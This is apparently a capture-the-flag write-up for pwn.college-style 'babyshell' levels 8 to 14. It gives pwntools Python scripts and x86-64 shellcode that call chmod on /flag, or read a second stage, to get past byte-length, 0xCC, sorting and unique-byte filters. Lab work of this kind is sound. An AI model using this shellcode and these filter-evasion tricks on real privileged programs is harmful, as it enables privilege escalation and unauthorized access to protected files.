> Reading 0x12 bytes from stdin. Removing write permissions from first 4096 bytes of shellcode.

injection.py

```python
from pwn import *
import subprocess

file = "/challenge/babyshell_level8"
context.update(arch="x86-64", encoding="latin")

shellcode = '''
    push 0x67616c66 /* "galf" */
    push rsp
    pop rdi

    push 0777
    pop rsi

    push 90
    pop rax
    syscall
'''
shellcode = asm(shellcode)

process = subprocess.Popen([file], stdin=subprocess.PIPE, cwd="/") # we added cwd="/" here
process.communicate(shellcode)
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> In this challenge we can write up to 0x12 = 18 bytes of shellcode. I decided to use push instructions instead of mov ones because it saves space by avoiding specifying both source and destination registers, crucial for the 18-byte limit. It also aligns values efficiently for immediate use with pop into the required registers, minimizing instruction overhead. The upper script is exactly 18 bytes long.
>
> **Explanation of the alternative script of level4 too:**
> Here, like in the alternative script provided in **level4**, we're saving "flag" into the stack instead of "/flag". This still works because, in the subprocess instance, we set `cwd="/"`, making the root directory the current working directory of our process. As a result, it correctly locates the flag file from "**/**". Without `cwd="/"` the script would fail, as it would search for the flag file relative to the directory from which the shellcode is executed, that is `/challenge`

Level9

> **From the challenge description**:
> This challenge modified your shellcode by overwriting every other 10 bytes with 0xcc. 0xcc, when interpreted as an instruction is an `INT 3`, which is an interrupt to call into the debugger. You must avoid these modifications in your shellcode.

Replace the shellcode variable in the script of **level8** with the code below:

```
shellcode = '''
    push 0x67616c66 /* those first 4 instructions are 9 bytes long */
    push rsp
    pop rdi
    jmp part2

    .rept 11    /* we put now 11 nops, and the last 10 will be converted into 0xCC */
        nop     /* remember that every nop is 1 byte long */
    .endr

part2:          /* those next 5 instructions are too 9 bytes long */
    push 7      /* 7 = 0007 that gives full permissions for everyone else */
    pop rsi

    push 90
    pop rax
    syscall
'''
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> In this challenge, the shellcode is modified such that every **other 10-byte block** is overwritten with 0xCC. The pattern alternates: the **first 10 bytes** are preserved, the **next 10 bytes** are overwritten, the **next 10 preserved**, and so on. Only the preserved blocks can safely execute code.
>
> By using `objdump`, I've easily checked the length of the code I was writing. The first part, consisting of 4 instructions, is 9 bytes long, so it is not overwritten. Since each NOP is encoded as the byte `\x90`, we place 11 of them: one to complete the first 10-byte block and 10 to compose the next block of 10 bytes, which will all be overwritten with `0xCC` bytes.
> After that, we place the second part of our code, which is also 9 bytes long and will therefore not be overwritten. The `0xCC` bytes do not interrupt the flow of our shellcode because they are skipped using `jmp part2`.
>
> In conclusion the shellcode is the same as the one from **level8** (chosen because it is only 18 bytes long, making it easier to handle in this level), but with padding added in the middle to avoid byte replacement and a jump to skip over the corrupted section.
>
> **One notable change** is the permission number passed to the chmod syscall: here it is **7** (octal **0007**), which grants full permissions for others. This is because the push instruction can only load single bytes or 4-byte immediates into memory. While `push 7` is encoded as `6a 07`, `push 0777` is encoded as `68 ff 01 00 00`, where two unused bytes are added for instruction alignment. These extra bytes would cause the syscall instruction to be overwritten by `0xCC` bytes. To grant **a=rwx** permissions (octal **0777**), you would need to implement an additional jump to avoid overwriting. Refer to the alternative code below for the solution.

Alternative where the permissions set are **0777** and not **0007** *(more complicated as there's one more jump to do)*

```
shellcode = '''
    push 0x67616c66
    push rsp
    pop rdi
    jmp part2

    .rept 11
        nop
    .endr

part2:
    push 0777
    pop rsi
    push 90
    jmp part3

    .rept 10
        nop
    .endr

part3:
    pop rax
    syscall
'''
```

Level10

> **From the challenge description:**
> This challenge just sorted your shellcode using bubblesort. Keep in mind the impact of memory endianness on this sort (e.g., the LSB being the right-most byte). This sort processed your shellcode 8 bytes at a time.

Refer to **level8**, as its solution works for this level too. That's because a short shellcode has a high chance of not being impacted by this sort (it's done 8 bytes at a time, and that shellcode is 18 bytes long).

> **The shellcode codified in bytes:** *(you can get his by using* `objdump`*)*
>
> ```
> 0:   68 66 6c 61 67          push   0x67616c66
> 5:   54                      push   rsp
> 6:   5f                      pop    rdi
> 7:  *68* ff 01 00 00         push   0x1ff
> c:   5e                      pop    rsi
> d:   6a 5a                   push   0x5a
> f:  *58*                     pop    rax
> 10:  0f 05                   syscall
> ```
>
> The bytes inside of the ***** are the ones I think are being considered for the sorting. They are already sorted.

Level11

> **From the challenge description:**
> This challenge just sorted your shellcode using bubblesort. Keep in mind the impact of memory endianness on this sort (e.g., the LSB being the right-most byte). This sort processed your shellcode 8 bytes at a time.
>
> This challenge is about to close stdin, which means that it will be harder to pass in a stage-2 shellcode. You will need to figure an alternate solution (such as unpacking shellcode in memory) to get past complex filters.

This level is equivalent to the previous one, with the addition of one more task: the standard input is closed. However, this is not a problem, as we have not been using the **write** or **read** syscalls, but rather the **chmod** syscall. Therefore, the solution from the previous level works here as well for the same reasons.

Level12

> **From the challenge description:** This challenge requires that every byte in your shellcode is unique!

Replace the shellcode variable in the script of **level8** with the code below:

```
shellcode = '''
    push 0x67616c66
    push rsp
    pop rdi

    mov sil, 7

    push 90
    pop rax
    syscall
'''
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> For this level too we'll start from the code of **level8**, as it is only 18 bytes long and therefore there will be less chances of having repeated bytes. There is though a change. Instead of having:
>
> ```
> push 0777
> pop rsi
> ```
>
> we now do that with `mov sil, 7` because the `push 0777` instruction shares a byte with `push 0x67616c66`. **sil** is the lower 8 bits of **rsi**, and we are forced to use the **0007** permission because that integer is only one byte long. We cannot use **0777** because it would be converted to `0x01 0xff`, which requires two bytes. To move two bytes into **rsi**, we need to use **si**, which is the lower 16 bits of **rsi**. Unfortunately, even `mov si, 0777` shares a byte with `push 0x67616c66`. We cannot use `mov rsi, 0777` directly either, because that would convert the number to four bytes: `0x01 0xff 0x00 0x00`, leading to another byte repetition.

Level13

> **From the challenge description:** Reading 0xc bytes from stdin (= 12 bytes).

injection.py (this is the script of **level1**)

```python
from pwn import *
import subprocess

file = "/challenge/babyshell_level13"
context.update(arch="x86-64", encoding="latin")

shellcode = '''
    push 0x66 /* f */
    push rsp
    pop rdi

    push 7
    pop rsi

    push 90
    pop rax
    syscall
'''
shellcode = asm(shellcode)

process = subprocess.Popen([file], stdin=subprocess.PIPE) # NO cwd="/" HERE!
process.communicate(shellcode)
```

Get in your home directory `~`, and from there create a symlink with `ln -s /flag f`. Now run the script with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> In this level the shellcode has to be just 12 bytes. Starting from the shellcode of **level8** that is 18 bytes long, we can do some optimisations:
>
> - Using `push 7` (coded into `6a 07`) instead of `push 0777` (coded into `68 ff 01 00 00`) saves us 3 bytes
> - For the file path, using `push 0x66` (coded into `6a 66`) instead of `push 0x67616c66` (coded into `68 66 6c 61 67`) saves us 3 bytes.
>
> So now our shellcode is 12 bytes long, but now we have saved in the stack the path "**f**", and not "**flag**" anymore. So in order to execute it we make a symlink from the home directory which links the file **f** with **/flag**.
>
> One change from the **level8** script is that we're not using `cwd="/"` anymore because our symlink is in `~` and not from the root folder anymore. Furthermore we cannot create symlinks in the root directory as we do not have the permissions to do so.

Level14

> **From the challenge description**: Reading 0x6 bytes from stdin.

```python
from pwn import *
import subprocess

file = "/challenge/babyshell_level14"
context.update(arch="x86-64", encoding="latin")

shellcode = '''
    push rdx
    pop rsi

    push rax
    pop rdi
    syscall

    .rept 6
        nop     /* 6 nops */
    .endr

    /* second part of shellcode */
    mov rax, 90
    lea rdi, [rip+flag]
    mov rsi, 0777
    syscall

    mov rax, 60
    syscall

flag:
    .asciz "/flag"
'''
shellcode = asm(shellcode)

process = subprocess.Popen([file], stdin=subprocess.PIPE)
process.communicate(shellcode)
```

Run it with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`

> In this level the shellcode has to be just 6 bytes. We cannot directly use the **chmod** syscall anymore as it is not possible to make the code shorter by using this syscall. What we are gonna do now is use the **read** syscall:
>
> ```
> %rax    System call     %rdi                    %rsi                %rdx
> 0       sys_read        unsigned int fd         char *buf           size_t count
> ```
>
> This way we're gonna open the stdin of the challenge again and redirect it to the second part of the shellcode

Level3

Replace the shellcode variable in the script of **level1** with the code below:

```
shellcode = '''
    mov al, 90
    push 0x66 /* f */
    mov rdi, rsp
    mov si, 0777
    syscall
'''
```

Get in your home directory `~`, and from there create a symlink with `ln -s /flag f`. Now run the script with `python injection.py`. This shellcode will grant you acces to the flag, so you'll be able to see it with `cat /flag`